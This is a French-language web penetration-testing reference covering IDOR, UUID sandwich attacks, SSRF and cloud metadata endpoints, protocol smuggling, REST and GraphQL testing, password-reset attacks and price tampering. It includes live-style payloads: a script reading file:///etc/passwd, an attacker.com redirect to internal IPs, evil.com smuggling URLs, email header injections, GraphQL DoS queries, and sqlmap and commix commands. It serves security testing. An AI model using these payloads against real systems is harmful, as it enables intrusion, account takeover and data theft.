* Mettre des zéros devant l'ID
* Mettre un "-" devant l'ID
* Mettre un ,0 après l'ID
* Mettre les deux ID dans une même chaîne de caractères simplement séparé par une virgule.
* Si le userID est reflété dans une URL => "userID":"1234/../4321" (path traversal)
* Essayer de bypass la restriction via [403 bypass ](/pentest-web/bypass)
* IDOR en aveugle
* Coupler IDOR et XSS pour account takeover

{% hint style="info" %}
**Niveau d'impact**

Une IDOR est critique si:

* Elle permet-elle de faire fuiter des données personnelles (Identité, emails etc)
* Elle permet de bypass un payement (en payant avec la carte de crédit enregistré d'un autre utilisateur par exemple)
* Elle permet d'effectuer des actions au nom d'un autre utilisateur
* Elle permet de détruire ou endommager des informations ou assets.
  {% endhint %}

## REST APIs

<table><thead><tr><th width="165.33333333333331">Type</th><th>Requête </th><th width="292.66666666666674">IDOR</th></tr></thead><tbody><tr><td>ID prédictible</td><td>GET /api/v1/account/<strong>2222</strong></td><td>GET /api/v1/account/<strong>2223</strong></td></tr><tr><td>Double ID</td><td>GET /api/v1/<strong>UserA</strong>/data/<strong>2222</strong></td><td>GET /api/v1/<strong>UserB</strong>/data/<strong>2223</strong></td></tr><tr><td>Int</td><td>{"Account": <strong>2222</strong> }</td><td>{"Account": <strong>[2222]</strong> }</td></tr><tr><td>email</td><td>{"email": " <strong>UserA</strong>@email.com"}</td><td>{"email": " <strong>UserB</strong>@email.com"}</td></tr><tr><td>Group</td><td>GET /api/v1/group/<strong>CompanyA</strong></td><td>GET /api/v1/group/<strong>CompanyB</strong></td></tr><tr><td>Group + email</td><td>GET /api/v1/group/<strong>CompanyA</strong>        {"email": " <strong>UserA</strong>@email.com"}       </td><td>GET /api/v1/group/<strong>CompanyB</strong>        {"email": " <strong>UserB</strong>@email.com"}  </td></tr><tr><td>Nested object</td><td>{"Account": <strong>2222</strong> }</td><td>{"Account": {"Account": <strong>2223</strong> } }</td></tr><tr><td>Token prédictible </td><td>{"data": "DflK1df7jSdfa<strong>1ac</strong>aa"}</td><td>{"data": "DflK1df7jSdfa<strong>2fa</strong>aa"}</td></tr></tbody></table>

## Vulnérabilités UUIDs

### Outils

<https://www.uuidtools.com/decode>: decodeur d'UUID en ligne

### Versions

#### UUID

00000000-0000-0000-0000-000000000000

#### UUIDv1

<figure><img src="/files/h2hBtPCd9vd5ZT0qoLlx" alt=""><figcaption><p>Decomposition d'un UUIDv1</p></figcaption></figure>

#### UUIDv2

<figure><img src="/files/vzJoot33MRag89v0Y76S" alt=""><figcaption><p>Decomposition d'un UUIDv2</p></figcaption></figure>

#### UUIDv3 et UUIDv5

UUIDv3 et UUIDv5 sont générés en utilisant le hachage du namespace identifier et du nom. La principale différence entre les versions trois et cinq est que UUIDv3 utilise du MD5 comme algorithme de hachage, tandis que UUID v5 utilise du SHA-1.

#### UUIDv4

Les UUIDsv4 sont générés presque entièrement aléatoirement. Seuls 4 bits sont utilisés pour indiquer la version et deux 2 bits sont utilisés pour indiquer la variante (lorsque la variante-1 est adoptée). Les autres bits (122) sont générés aléatoirement.

### Vulnérabilités

#### UUIDv1

Sandwitch attack:

Le principe est de générer 3 UUID (attaquant puis victime puis attaquant) le plus rapidement possible en utilisant une race condition par exemple. l'UUIDv1 étant basé sur le temps, les 3 UUIDs devraient être très ressemblant les un des autres:

```
UUIDs attaquant:
https://target.com/reset/99874128-7592-11e9-8201-bb2f15014a14
https://target.com/reset/998796b4-7592-11e9-8201-bb2f15014a14
```

Le but est ensuite de bruteforcer la plage hexadecimal entre les deux UUIDs de l'attaquant jusqu'à trouver celle de la victime. (Dans le cas où il n'existe pas de rate limite ou s'il peut être contourné)

cella peut être fait avec l'outil suivant: <https://github.com/Lupin-Holmes/sandwich>

{% hint style="warning" %}
**Attention**: Cette possibilité est compromise dans le cas où le site ciblé utilise un load balancer ou plusieurs serveurs différents pour gérer la fonctionnalité auquel cas le seul moyen d'utiliser cette attaque est de trouver un moyen de cibler toujour le même serveur ce qui est complexe. (peut être fait en modifiant le `/etc/hosts` ou en faisant un plus grand nombre de requêtes simultanées.

Il est aussi possible que la fonctionnalité mette du temps à générer les UUIDs auquel cas plus ce temps est élevé plus l'écart entre les UUIDs sera important et donc logiquement plus le temps de bruteforce sera augmenté.
{% endhint %}

## Répartition des IDOR

![](/files/MrsMKlWbY0myp1ONqgMn)

## Outils

### Reset-Tolkien

Reset-Tolkien est un outil d'analyse de secrets permettant d'exploiter les secrets non sécurisés basés sur le temps et les attaques sandwich lors de l'usage d'UUID non sécurisés.

Exemple d'utilisation:

`$ reset-tolkien detect <secret> -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefix "attacker@example.com" --timezone "-7"`

Ressource: <https://github.com/AethliosIK/reset-tolkien>


# SSRF

Server-Side Request Forgery

## Mindmaps

<figure><img src="/files/QZOnWeoiw3C23XXxNe4Z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GQeJMm8yDgUmiozacJr5" alt=""><figcaption></figcaption></figure>

## Sites

* <https://beeceptor.com/>
* <https://ssrf.cvssadvisor.com/>
* <https://webhook.site/>

## Description

La contrefaçon de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité qui permet à un attaquant d'inciter l'application côté serveur à effectuer des requêtes vers un emplacement non souhaité.

Dans une attaque SSRF typique, l'attaquant peut amener le serveur à établir une connexion avec des services internes uniquement au sein de l'infrastructure de l'organisation. Dans d'autres cas, ils peuvent être en mesure de forcer le serveur à se connecter à des systèmes externes arbitraires, ce qui risque de divulguer des données sensibles telles que les informations d'identification d'autorisation.

## Exploitation

### Rechercher des fonctionnalitées potentiellement sensibles aux SSRF

Parmis ces fonctionnalitées, on retrouve toutes celles qui nécessitent de visiter et de récupérer des ressources externes.

C'est-à-dire:

* Webhooks
* [File upload](/pentest-web/upload-features#ssrf)
* Tumbnails
* Extensions de lien
* Services de proxy
* [URL données par des entrées utilisateurs](/pentest-web/open-redirect#ssrf-via-open-redirect)
* URL intégrés dans des fichiers traités par l'application (XML, PDF par exemple)
* API endpoints
* Entrées utilisées dans des balises HTML

## Utiliser des URLs internes fréquentes

Parmis les urls internes que l'on retrouve souvent dans les entreprises, on retrouve principalement les éléments suivant:

* localhost
* 127.0.0.1
* 0.0.0.0
* 192.168.0.1
* 10.0.0.1

### Plages IP

* 10.0.0.0/8
* 127.0.0.1/32
* 172.16.0.0/12
* 192.168.0.0/16

## Observer le résultat

Dans le cas de SSRF standard, voyez si le serveur renvoie une réponse qui révèle toute information sur le service interne. Par exemple, la réponse contiennent des bannières de services ou le contenu de pages internes ?

Exemple:

```
REQUETE:

POST /upload_profile_from_url
Host: public.example.com

...
...
user_id=1234&url=127.0.0.1:22

REPONSE:

500 Internal Error
...
...
Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
```

Le moyen le plus simple de détecter les SSRF aveugles consiste à utiliser une technologie hors bande. On fait en sorte que la cible envoie des requêtes à un serveur externe sous notre contrôle, puis on vérifie les réponses dans les logs du serveur. Pour ce faire, vous pouvez utiliser un service d'hébergement en ligne, tel que GoDaddy ou Hostinger qui fournissent les journaux d'accès au serveur. On peut aussi utiliser burp collaborator dans le cas où on possède burp pro.

## SSRF via parser PDF

Si des entrées utilisateur sont reflété dans un PDF lors de sa génération, il est parfois possible d'obtenir une SSRF en utilisant XMLHttpRequest comme ceci par exemple:

`<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>`

## SSRF via domain fronting

Les serveurs web traitent naturellement le domaine présent dans le header HTTP "Host:" avant l'hôte fourni dans l'URL.

Le principe du domain fronting est donc de remplacer le domaine du header Host par un domaine contrôlé par l'attaquant (Host header injection). Cependant, pour que cela fonctionne, il est nécessaire que les deux domaines (dans le header Host et l'URL) aient leur fichier de configuration Virtual Host présent sur le même serveur web.

## Bypass

{% embed url="<https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>" %}

### Bypass via redirection

<http://nicob.net/redir6a> => <https://169.254.169.254/>

### Bypass de Allowlist

Via utilisation d'un [open redirect](/pentest-web/open-redirect) ce qui permettrait de passer par un (sous-)domaine de confiance.

#### Bypass de regex

On peut également essayer de placer un domaine de confiance dans le point vulnérable tel que `https://trusted.target.com@127.0.0.1`

### Bypass de blocklist

#### Via redirection

On peut par exemple essayer de passer par un domaine en notre possession qui contiendrait une redirection vers une IP interne.

Exemple:

Requête envoyée:

`https://target.com/proxy?url=https://attacker.com/ssrf`   &#x20;

Contenu de `https://attacker.com/ssrf`:

```php
<?php header("location: http://127.0.0.1"); ?>
```

#### Via utilisation d'une IPv6

En effet si une protection a été mise en place sur les IPv4 il n'est pas impossible que les IPv6 aient été omises.

#### Via utilisation d'enregistrements DNS

Il est également tout a fait possible de faire pointer un enregistrement DNS A ou AAAA de votre serveur vers une IP interne type 127.0.0.1.

Dans ce cas, lorsque le serveur cible fera une requête vers votre serveur, il fera en fait une requête vers l'IP interne spécifié de son réseau.

**Via hostname à la place d'IP**

Exemple: 169.254.169.254 => 169.254.169.254.nip.io ou 169-254-169-254.nip.io

#### Via Encoding

Voir [SSRF Bypass](/pentest-web/bypass#ssrf-bypass).

## Outils

### Gopherus

Gopherus est un outil permettant de tenter d'escalader une SSRF en RCE en générant des lien exploitant divers services. (Applications PHP seulement)

Exemple d'utilisation:

*`$ gopherus --exploit mysql`*

ressource: <https://github.com/tarunkant/Gopherus>

### Singularity

Singularity est un framework dédié aux attaques de type DNS rebinding.

ressource: <https://github.com/nccgroup/singularity>

### rbndr

Service de DNS rebinding pour SSRF en aveugle.

ressource: <https://github.com/taviso/rbndr>

### Whonow

Whonow est un serveur DNS dédié à l'exploitation de DNS rebinding.

ressource: <https://github.com/brannondorsey/whonow>


# Cloud SSRF

## Cloud metadata

### Ressource

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf>" %}

### AWS EC2

`http://169.254.169.254`

ressource: <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html>

### GCP

* <http://169.254.169.254>
* <http://metadata.google.internal>
* <http://metadata>

### DigitalOcean

`http://169.254.169.254`

### Oracle Cloud

`http://192.0.0.192`

### Alibaba

`http://100.100.100.200`

### VPC AWS

Pour trouver sur quel range d'IP privé le VPC se trouve, il est possible d'utiliser le resolver DNS port 53 se trouvant sur une IP fixe.

Exemples:

* Si le VPC est sur le range 10.0.0.0/8, tenter de contacter l'IP 10.0.0.2:53
* Si le VPC est sur le range 172.16.0.0/12, tenter de contacter l'IP 172.16.0.2:53


# Protocol Smuggling

## NodeJS

### URL

```
http://target.com:6379/－＊test@evil.com@6379－＊
```

Unicode failure via les caractères U+FF0D et U+FF0A

### Vérification

*`$ nc -vvlp 6379`*

## GLibc NSS

### URL

```
http://target.com\r\ntest evil.com 6379\r\n:6379/
http://target.com\r\n test evil.com 6379\r\n :6379/
```

Le protocole HTTP 1.1 a besoin d'un host header

### Vérification

*`$ nc -vvlp 6379`*

### SNI injection - embeded hostname in SSL client Hello

#### URL

```
https://target.com\r\nSET foo 0 60 5\r\n:443/
```

### Vérification

*`$ nc -vvlp 443`*


# APIs


# REST

Representational State Transfer

## Sites

* <https://www.programmableweb.com/>: Base de données d'informations sur les APIs
* <https://api-guesser.netlify.app/>: Identification de clé / Token d'API

## Basic

Les APIs RESTful ont été conçues pour améliorer de nombreux défaut d'autres APIs plus anciennes telles que les APIs SOAP. Les APIs RESTful fonctionnent notamment entièrement sur le protocole HTTP rendant de ce fait beaucoup plus accessible son utilisations aux utilisateurs finaux. Les APIs RESTful utilisent principalement les méthodes HTTP GET, POST, PUT et DELETE.

Le design de ces APIs dépend de six contraintes:

1. **Une interface uniforme**: l'interface de l'API est la même pour ordinateur, mobile et IoT.
2. **Client / Serveur**: Les clients sont les visiteurs du site qui font leurs requêtes et le serveur donnent les informations demandées aux clients.
3. **Stateless**: Les APIs REST ne stocke pas de données et ne fait référence à aucune transaction passée. Chaque transaction est effectuée à partir de rien, comme si c'était la première fois.
4. **Cachable**: La réponse du fournisseur d'API doit indiquer si la réponse est cachable ou non, rendre les APIs REST cachable est un moyens de rendre les interactions plus rapides et moins couteuses en terme de ressources. Cela est principalement mis en place par des en-têtes types "Cache:" et "Miss:"
5. **Architecture en couche**: Le client doit pouvoir demander des données à partir d'un endpoint sans connaître l'architecture du serveur sous-jacent.
6. **Code à la demande (optionnel)**: Permet d'envoyer du code à un client pour execution.

## En-têtes intéressantes

### Authorization

Il s'agit de l'en-tête utilisée par l'API pour vous identifier, elle fonctionne comme ceci:

```
Authorization: <type> <token/credentials>

#types:
#    Basic <base64 encoded credentials (username:password)> (facile à bruteforce)
#    Bearer <Token>
#    AWS-HMAC-SHA256 <secret key>
```

### Content-Type

Il s'agit de l'en-tête utilisée pour indiquer le type de données transmises, les types les plus utilisés dans les APIs RESTful sont les types:

* application/json
* application/xml
* application/x-www-form-urlencoded

## Vulnérabilités

### Classiques

Les API RESTful nécessites de procéder aux mêmes tests que pour d'autres APIs à savoir le Top 10 OWASP et autres vulnérabilités WEB.

{% content-ref url="/pages/XsaKbNH0MOvIvZlUQo4w" %}
[Pentest Web](/pentest-web)
{% endcontent-ref %}

### Checklist

#### Fuites d'information

#### IDOR

Exemples:

{% content-ref url="/pages/ArsnNnRCteYNNJYeFfPG" %}
[IDOR](/pentest-web/idor)
{% endcontent-ref %}

#### Broken user authentication

#### Exposition de données excessive

Exemple:

GET sur <https://target.com/api/users/exemple> donne:

<pre class="language-json"><code class="lang-json">}
<strong> "user": {
</strong>"id": 1121,
"admin": false,
"username": exemple,
"multifactor": false
}
"sales_assoc": {
 "email": "exemple@target.com",
 "admin": true,
 "username": super_sales_admin,
 "multifactor": false
}
</code></pre>

#### Manque de rate limit / ressources

Bruteforce fonction sensible avec burp suite ou autre et vérifier si les requêtes sont bloqués au bout de 100-200-300 requêtes...

Bypass:

* Ajout de caractères spéciaux
* mettre une lettre différente en maj à chaque requête
* ...

{% content-ref url="/pages/yYxuRNW0pBLp0ypO72hZ" %}
[Bypass](/pentest-web/bypass)
{% endcontent-ref %}

#### Broken Function Level Authorization

#### Mass assignment

Exemples:

```json
POST /api/v1/register

}
    "username":"exemple",
    "email":"exemple@target.com"
}


POST /api/v1/register

}
    "username":"exemple",
    "email":"exemple@target.com",
    "admin":"true"
}
POST /api/v1/register

{
"username":"exemple",
"email":"exemple@target.com",
"password":"Password"
}

POST /api/v1/register

{
"username":"exemple",
"email":"exemple@target.com",
"org": "Company",
"password":"Password"
}

/api/v1/register

{
"username":"exemple",
"email":"exemple@target.com",
"password":"Password"
}

POST /api/v1/register

{
"username":"exemple",
"email":"exemple@target.com",
"mfa": "false",
"password":"Password"
}
```

#### Security misconfigurations

Fuites d'infos techniques

Générer des erreurs détaillées dans les APIs

1. Envoyer une chaîne de caractères au lieu d'un nombre (et inversement).
2. Enlever des paramètres essentiels au fonctionnement de la requête.
3. Casser la structure JSON (supprimer un '}').
4. Enlever des headers/cookies nécessaires au fonctionnement de la requête.
5. Entrer un nombre très grand quand le nombre attendu doit être bas et inversement
6. Entrer une valeur "null" (null, (null), %00, ou 0x00)
7. Entrer des caractère spéciaux (!@#$%^&\*();':''|,./?>)
8. Utiliser des langages imprévus (漢, さ, Ж, Ѫ, Ѭ, Ѧ, Ѩ, Ѯ)

{% content-ref url="/pages/aFlNH6LNZD9mvYRdvcR3" %}
[Brute force / Fuzzing](/pentest-web/brute-force-fuzzing)
{% endcontent-ref %}

Exemples:

```
Headers:
X-Powered-By: Fuite d'info

Erreur verbeuses:
- leak de version
- leak de code source
- leak des techno utilisées
- leak d'IP interne
...
```

* Manques de Headers de securité (X-XSS-Protection, X-Iframe-Options...)
* HTTP méthode TRACE ou autre inutile au fonctionnement de l'API autorisée&#x20;
* Identifiants par défauts
* Pas de HSTS

...

#### Injections

Exemples:

{% content-ref url="/pages/MHHi07XmkPAdtwPQTGS9" %}
[Injections](/pentest-web/injections)
{% endcontent-ref %}

#### Improper Assets Management

API v1, v2, v3

#### Business Logic vulnerabilities

Exemples:

{% content-ref url="/pages/cevYz9kZNElM0uIrSv9U" %}
[Fonctions d'achat et de facturation](/pentest-web/fonctions-dachat-et-de-facturation)
{% endcontent-ref %}

{% content-ref url="/pages/zhyYIg3nl2ucifj7F3V9" %}
[Upload features](/pentest-web/upload-features)
{% endcontent-ref %}

## Tips

Si l'endpoint ne renvoie rien, essayer:

* d'utiliser le header "**X-Request-With: XMLHttpRequest**" afin de simuler un frontend.
* d'utiliser des **user-agent de mobiles** (Si l'API est spécifiquement utilisée par une application, il est possible qu'elle check que le user-agent est bien celui d'un mobile).

## Outils

### OWASP OFFAT

L'outil OWASP OFFAT est un scanner de vulnérabilité pour API prenant comme entrée un fichier de definition OpenAPI (swagger.json), bien que la compatibilité totale avec OAS v3 soit en attente. Le projet reste un travail en cours, évoluant continuellement vers son achèvement.

Utilisation:

*`$ offat -f swagger.json`*

ressource: <https://github.com/OWASP/OFFAT>

### Swagger Jacker

SJ est une alternative à OFFAT, il permet également de faire un scan automatisé d'API en se basant sur un fichier de définition OpenAPI (swagger.json).

ressource: <https://github.com/BishopFox/sj>

### Fuzzapi

Fuzzapi est une application rails avec interface graphique permettant de scanner des APIs.

ressource: <https://github.com/Fuzzapi/fuzzapi>

### Astra

Astra est une application python avec interface graphique permettant de scanner des APIs.

ressource: <https://github.com/flipkart-incubator/Astra>

### OpenAPI Security Scanner

OpenAPI Security Scanner est un scanner complexe permettant de recherches des vulnérabilités dans les contrôles d'accès de manière automatique en définissant les endpoints à tester et les identifiants de plusieurs utilisateurs et rôles différents.

ressource: <https://github.com/ngalongc/openapi_security_scanner>

### Swagroutes

Swagroutes est un outil permettant tout simplement d'extraire les endpoints d'une defnition OpenAPI.

Utilisation:

*`$ swagroutes swagger.json`*

ressource: <https://github.com/amalmurali47/swagroutes>


# GraphQL

Graph Query Language

## Sites

* <https://ivangoncharov.github.io/graphql-voyager/>: Transforme les données graphql en graphique
* <https://lucasconstantino.github.io/graphiql-online/>: Permet une interaction facilité avec les endpoints graphql.
* <https://altair-gql.sirmuel.design/>: Même principe que graphiql.
* <https://github.com/nicholasaleks/graphql-threat-matrix>: matrice des surfaces d'attaque de chaque implémentations de graphQL.

## Basics

GraphQL fonctionne en un seul endpoint qui ne renvoie que les informations exactement demandées.

Cette technologie fonctionne avec deux types de requêtes:

### Les Queries

Les queries sont utilisées afin de recupérer des données à l'aide d'opérations spécifiquement définies. Ils s'agit grossièrement de l'équivalent de la méthode GET du protocole HTTP pour l'API.

Pour que les queries renvoient les données voulues, il faut que les données demandées correspondent exactement à celles souhaités dans la réponse du serveur. Les requêtes peuvent demander des arguments et sur la base de ces arguments, des données spécifiques peuvent être interrogés.

Exemple:

<figure><img src="/files/BPogDTb34WKbu258IDnu" alt=""><figcaption></figcaption></figure>

### Les Mutations

Les mutations quant à elles sont utilisées pour ajouter, modifier ou supprimer des données dans le système. Il s'agit grossièrement de l'équivalent des méthodes PUT, DELETE et POST du protocole HTTP dans l'API. L'avantage de ce type de requêtes est qu'il est alors possible de demander à mettre à jour une donnée dans la même requête en changeant simplement le type de requête (query -> mutation).

Exemple:

<figure><img src="/files/KDnF84qVyXPAZkWz51vO" alt=""><figcaption></figcaption></figure>

## Introspection

L'introspection est une fonctionnalité du système pouvant permettre si il est activé d'interroger les ressources disponibles dans le schéma de l'API. De ce fait, il est possible de dumper entièrement le schéma de l'API en envoyant postant ces données depuis l'endpoint de l'API:

`{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}" }`

<figure><img src="/files/c2aUKFk01tXJbLozCBdw" alt=""><figcaption></figcaption></figure>

La taille de la réponse obtenue peut alors être très important rendant difficile le travail d'analyse mais heureusement il existe le site <https://ivangoncharov.github.io/graphql-voyager/> permettant de  convertir les données brutes obtenues en graphique plus lisible.

<figure><img src="/files/JBhMaSs4OL0XTO19H7gU" alt=""><figcaption><p>Avant convertion</p></figcaption></figure>

<figure><img src="/files/slCp1w6C5nRRi3bdDYF8" alt=""><figcaption><p>Après convertion</p></figcaption></figure>

## Fuzzing

Dans le cas ou l'introspection serait désactivé, il est nécessaire de fuzz l'endpoint pour trouver des endpoints.

{% content-ref url="/pages/aFlNH6LNZD9mvYRdvcR3" %}
[Brute force / Fuzzing](/pentest-web/brute-force-fuzzing)
{% endcontent-ref %}

## Vulnérabilités

### Classiques

Les API graphql nécessites de procéder aux mêmes tests que pour une API REST par exemple à savoir le Top 10 OWASP et autres vulnérabilités WEB.

{% content-ref url="/pages/XsaKbNH0MOvIvZlUQo4w" %}
[Pentest Web](/pentest-web)
{% endcontent-ref %}

### Spécifique

#### Batching attack

La Batching attack est une attaque spécifique aux API graphql, elle permet d'envoyer plusieurs demandes à un seul endpoint et en une seule requête et ceux sans risque d'être bloqué.

Il s'agit donc d'une attaque parfaite dans les scénarios de brute-force et de bypass de 2FA (elle permet principalement de bypass les méchanismes de rate-limit).

#### Circular query attacks (DoS)

Trouver des cycles dans une introspection graphql:

*`$ inql -t https://chat-api.swapcard.com/graphql --generate-cycles -o cycles`*

#### Circular fragment attacks (DoS)

#### Duplication attacks (DoS)

la technique est simple, il s'agit de trouver un champs envoyant une très grande réponse et de dupliquer la demande plusieurs fois puis analyser le temps de réponse.

Exemple:

```json
query {
    pastes {
        title
        content
        content
        content
        content
        content
        ...
        ...
    }
}
```

#### Alias Overloading (DoS)

Il est possible d'utiliser l'overloading d'alias dans un but de dénis de service de la même manière que pour l'attaque précédente en trouvant un champs utilisant beaucoup de ressources et en la dupliquant avec des alias différents pour les considérés comme des requêtes différentes.

Exemple:

```
query {
    pastes {
        title
        one:content
        two:content
        three:content
        four:content
        five:content
        ...
        ...
    }
}
```

#### Directive Overloading (DoS)

Il s'agit de la même chose qu'une duplication attack mais avec des directives de cette manière:

```
query {
    pastes {
        title @aa@aa@aa@aa...
        content @aa@aa@aa@aa...
}
```

#### Object Limit Overriding (DoS)

Les serveurs graphQL peuvent implémenter des limites sur la quantité de données qu'ils renvoient par défaut. Ceci est particulièrement important pour les champs qui renvoient des tableaux.

Si une requête peut utiliser un argument permettant de limiter le nombre de retours dans la réponse, (limit, offset, max...) on peut essayer d'entrer une très grande afin de forcer la base de donnée à renvoyer une quantité de données qui pourrait entraîner un DoS.

```
query {
    pastes(limit:100000, public: true) {
        content
    }
}
```

### Fuites d'informations

* Via erreurs verbeuses / stack traces
* Via entrées de contenu sensibles dans une requête GET
* Via debug mode activé (/graphql?debug=1, /graphql?XDEBUG\_SESSION\_START=PHPSTORM)
* Via fuites d'infos dans la console du navigateur

### Injections

#### SQLi

{% hint style="info" %}
Privilégier les argument prenant des strings.
{% endhint %}

Automatisation avec sqlmap:

Dans la requête burp suite:

* placer un asterisk (\*) au point d'injection souhaité
* Clic droit > "Copy to file"
* *`$ sqlmap -r request.txt —dbms=sqlite —tables`*

#### OS injection

Exmple avec Commix:

*`$ commix --url="https://target.com/graphql" --data='{"query":"query{exemple(arg:"test ")}"}' -p arg`*

## Outils

### CrackQL

CrackQL est un outil de brute-forcing et fuzzing de GraphQL.

Exemple d'utilisation:

*`$ python3 CrackQL.py -t http://target.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv --verbose [-b pour utiliser du batching]`*

ressource: <https://github.com/nicholasaleks/CrackQL>

### Graphql-cop

graphql-cop est un scanner de vulnérabilité dédié aux APIs GraphQL.

Utilisation:&#x20;

```
$ python3 graphql-cop.py -t https://target.com/graphql
```

ressource: <https://github.com/dolevf/graphql-cop>

### BatchQL

BatchQL est un script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL par lots.

Utilisation:

```
$ python3 batch.py -e https://target.com/graphql
```

ressource: <https://github.com/assetnote/batchql>

### Graphw00f

graphw00f est un scanner d'endpoint graphQL permettant de détecter le moteur graphql utilisé.

Utilisation:

```
$ python3 main.py -d -f -t https://target.com/graphql
```

ressource: <https://github.com/dolevf/graphw00f>

### InQL

InQL est une extension de burp suite permettant d'arriver à un resultat semblable au site web "[graphiql](#sites)".

### GraphQLmap

GraphQLmap est un outil permettant d'interagir avec les endpoints graphql.

ressource: <https://github.com/swisskyrepo/GraphQLmap>

### Clairvoyance

Permet d'obtenir le schéma de l'API GraphQL même si l'introspection est désactivée.

ressource: <https://github.com/nikitastupin/clairvoyance>


# Mot de passe oublié

### Mot de passe oublié

#### Méthode 1:

Password reset poisoning:

* Aller dans la page mot de passe oublié
* intercepter la requête avec l'email de la victime
* changer le header "host: target.com" en "host: attaquant.com"
* changer les headers "referrer: <https://attaquant.com>", "origin: <https://attaquant.com>", "X-Forwarded-For: attaquant.com" et "X-Forwarded-Host: attaquant.com" également
* Si aucun ne fonctionne, Essayer d'utiliser une deuxième en-tête " Host: attaquant.com" (avec un espace devant)
* Forwarder la requête
* Si ça fonctionne alors on sera capable de recevoir les informations sur le contrôleur de domaine de attaquant.com

#### Méthode 2:

* Ouvrir un navigateur avec burp suite
* faire une demande de mot de passe oublié sans intercepter
* ouvrir l'email dans un autre navigateur et copier le token
* chercher le même token dans l'historique de navigation de burp suite
* Si il est présent alors il y a un risque d'account takeover

#### Méthode 3:

* Aller dans mot de passe oublié
* envoyer le lien
* suivre le lien dans les emails
* finalement, ne pas valider et cliquer sur un lien de redirection (exp: icone facebook)
* intercepter la requête
* Si le lien est présent dans le header alors il y a une fuite de données

#### Méthode 4:

* Essayer d'utiliser plusieurs fois le même lien de mot de passe oublié
* Si il n'est pas désactivé entre temps alors il est réutilisable par un attaquant

#### Méthode 5:

* Demander deux fois un lien de mot de passe oublié
* Si en utilisant le premier lien reçu on peut changer le mot de passe alors il y a une vulnérabilité

#### Méthode 6:

* ouvrir burp
* intercepter la demande de changement de mot de passe
* ajouter .json au bout de l'url et regarder le résultat
* Possibilité de fuite du token...

#### Méthode 7:

Rate limit:

* intercepter la requête de mot de passe oublié dans burp
* envoyer vers intruder
* Utiliser "Null payload"
* envoyer la requête 100 fois
* Vérifier dans les mails si le mail a été envoyés 100 fois
* Si oui on peut effectuer du mail bombing sur n'importe qui

#### Méthode 8:

Email Header Injection:

```bash
email= victim@mail.com&email=attacker@mail.com
email= victim@mail.com%20email=attacker@mail.com
email= victim@mail.com |email=attacker@mail.com
email= victim@mail.com%0d%0acc:attacker@mail.com
email= victim@mail.com&code= mon token de réinitialisation
email[]= victim@mail.com&email[]=attacker@mail.com
email=victim@mail.com,attacker@mail.com
{"email": "victim@mail.com", "email":"attacker@mail.com"}
{"email": "victim@mail.com/nattacker@mail.com"}
{"email": ["victim@mail.com","attacker@mail.com"]}
```

Si l'un de ces payloads fonctionne, l'email sera envoyé à la victime mais aussi à l'attaquant.

{% content-ref url="/pages/w0l1riuUmH808Wg8334h" %}
[Injections dans emails](/pentest-web/injections/injections-dans-emails)
{% endcontent-ref %}

#### Méthode 9:

Leaks dans la reponse http:

* intercepter la demande de mot de passe oublié dans burp
* Foward la requête
* Regarder si le token, lien ou autre est leak dans la réponse

#### Méthode 10:

* Changez le mot de passe avec votre compte
* Envoyez la requête dans "Repeater"
* Laissez le paramètre contenant le token vide et changer votre nom d'utilisateur par celui de votre victime puis envoyez la requête.
* Si la vérification du token n'est pas effectué par le serveur le mot de passe de la victime sera changé et il y aura donc account takeover.

#### Méthode 11: Dangling markup

* Changez le mot de passe de votre compte
* Envoyer la requête dans "Repeater"
* à la suite du header "host: target.com" ajouter à la place d'un port un script redirigeant vers votre serveur ("host: target.com:\<a href="attaquant.com">)
* Envoyer la requête
* Si cela fonctionne, vous recevrais alors le lien dans les information du contrôleur de domaine attaquant.

#### Méthode 12: Param fuzzing

* Fuzz les paramètres directement depuis burp ou via un outil comme [Arjun](/osint-recon/scan-de-ports-web#arjun).
* Si il y a un paramètre tel que url, href ou autre essayer d'y placer un lien vers un serveur attaquant.
* Le lien généré dans l'email de réinitialisation pourrait alors rediriger vers le serveur attaquant.


# Fonctions d'achat et de facturation

Les fonctions d'achat et de facturation sont généralement présentes dans la plupart des applications Web. Le test de ces fonctions peut être assez simple et peut en fait créer un impact commercial très important. Vous trouverez ci-dessous quelques moyens de tester et de trouver des bugs dans les fonctions d'achat d'une application Web.

## Manipulation des paramètres

La falsification des paramètres est une vulnérabilité qui peut affecter n'importe quel site Web, mais la "manipulation des prix" est largement unique aux sites d'achat en ligne. Un site Web est vulnérable s'il se fie indûment à la validation côté client ou s'il ne parvient pas à valider l'entrée de l'utilisateur côté serveur.

Exemple: on a une url de ce type&#x20;

**<https://target.com/cart?id=1\\&qty=2\\&price=29,99\\&currency=EUR>**

Dans ce cas l'attaquant peut tenter de changer simplement la valeur du prix et/ou de la quantité. Si la validation des paramètres n'est pas bien faite alors il sera capable d'acheter 100 produits pour 29,99 euros ou 2 produits pour 1 euro par exemple.

Voici quelques scenarios d'attaque mettant en oeuvre cette méthode:

* Changer le prix d'un produit cher en un produit bon marché.
* Augmenter la quantité du produit au prix d'un seul.
* Changer la devise (EUR en PKR).
* Mettre le prix du produit en négatif si le pris final ne peut pas être négatif.
* Si l'application utilise un hachage, essayez de capturer le hachage d'un produit bon marché et remplacez-le lors de l'achat d'un produit coûteux.
